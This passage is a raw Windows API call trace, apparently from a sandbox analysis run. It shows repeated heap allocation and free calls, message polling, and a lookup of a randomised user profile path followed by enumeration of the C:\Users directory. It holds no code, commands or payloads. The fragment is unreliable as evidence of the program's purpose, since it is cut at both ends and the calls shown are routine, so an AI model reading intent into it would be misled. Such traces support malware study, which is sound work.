lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.392] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.392] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.393] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.393] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.393] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.394] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.394] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.395] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.395] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.395] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.396] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.396] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.396] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.396] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.396] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.396] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.396] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.396] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.396] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.396] PathFindFileNameW (pszPath="") returned="" [0111.396] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.396] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.396] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.396] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f38 | out: hHeap=0x5010000) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f38 [0111.397] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f38 | out: hHeap=0x5010000) returned 1 [0111.397] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.397] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afe8 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.397] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.397] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05eb8 | out: hHeap=0x5010000) returned 1 [0111.397] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.397] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05ef0 [0111.398] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.398] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05eb8 | out: hHeap=0x5010000) returned 1 [0111.398] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05f28 [0111.398] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.398] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05eb8 | out: hHeap=0x5010000) returned 1 [0111.398] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.398] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f38 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05eb8 [0111.398] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f38 | out: hHeap=0x5010000) returned 1 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x498) returned 0x7b14e40 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f38 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360c8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d30 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.398] 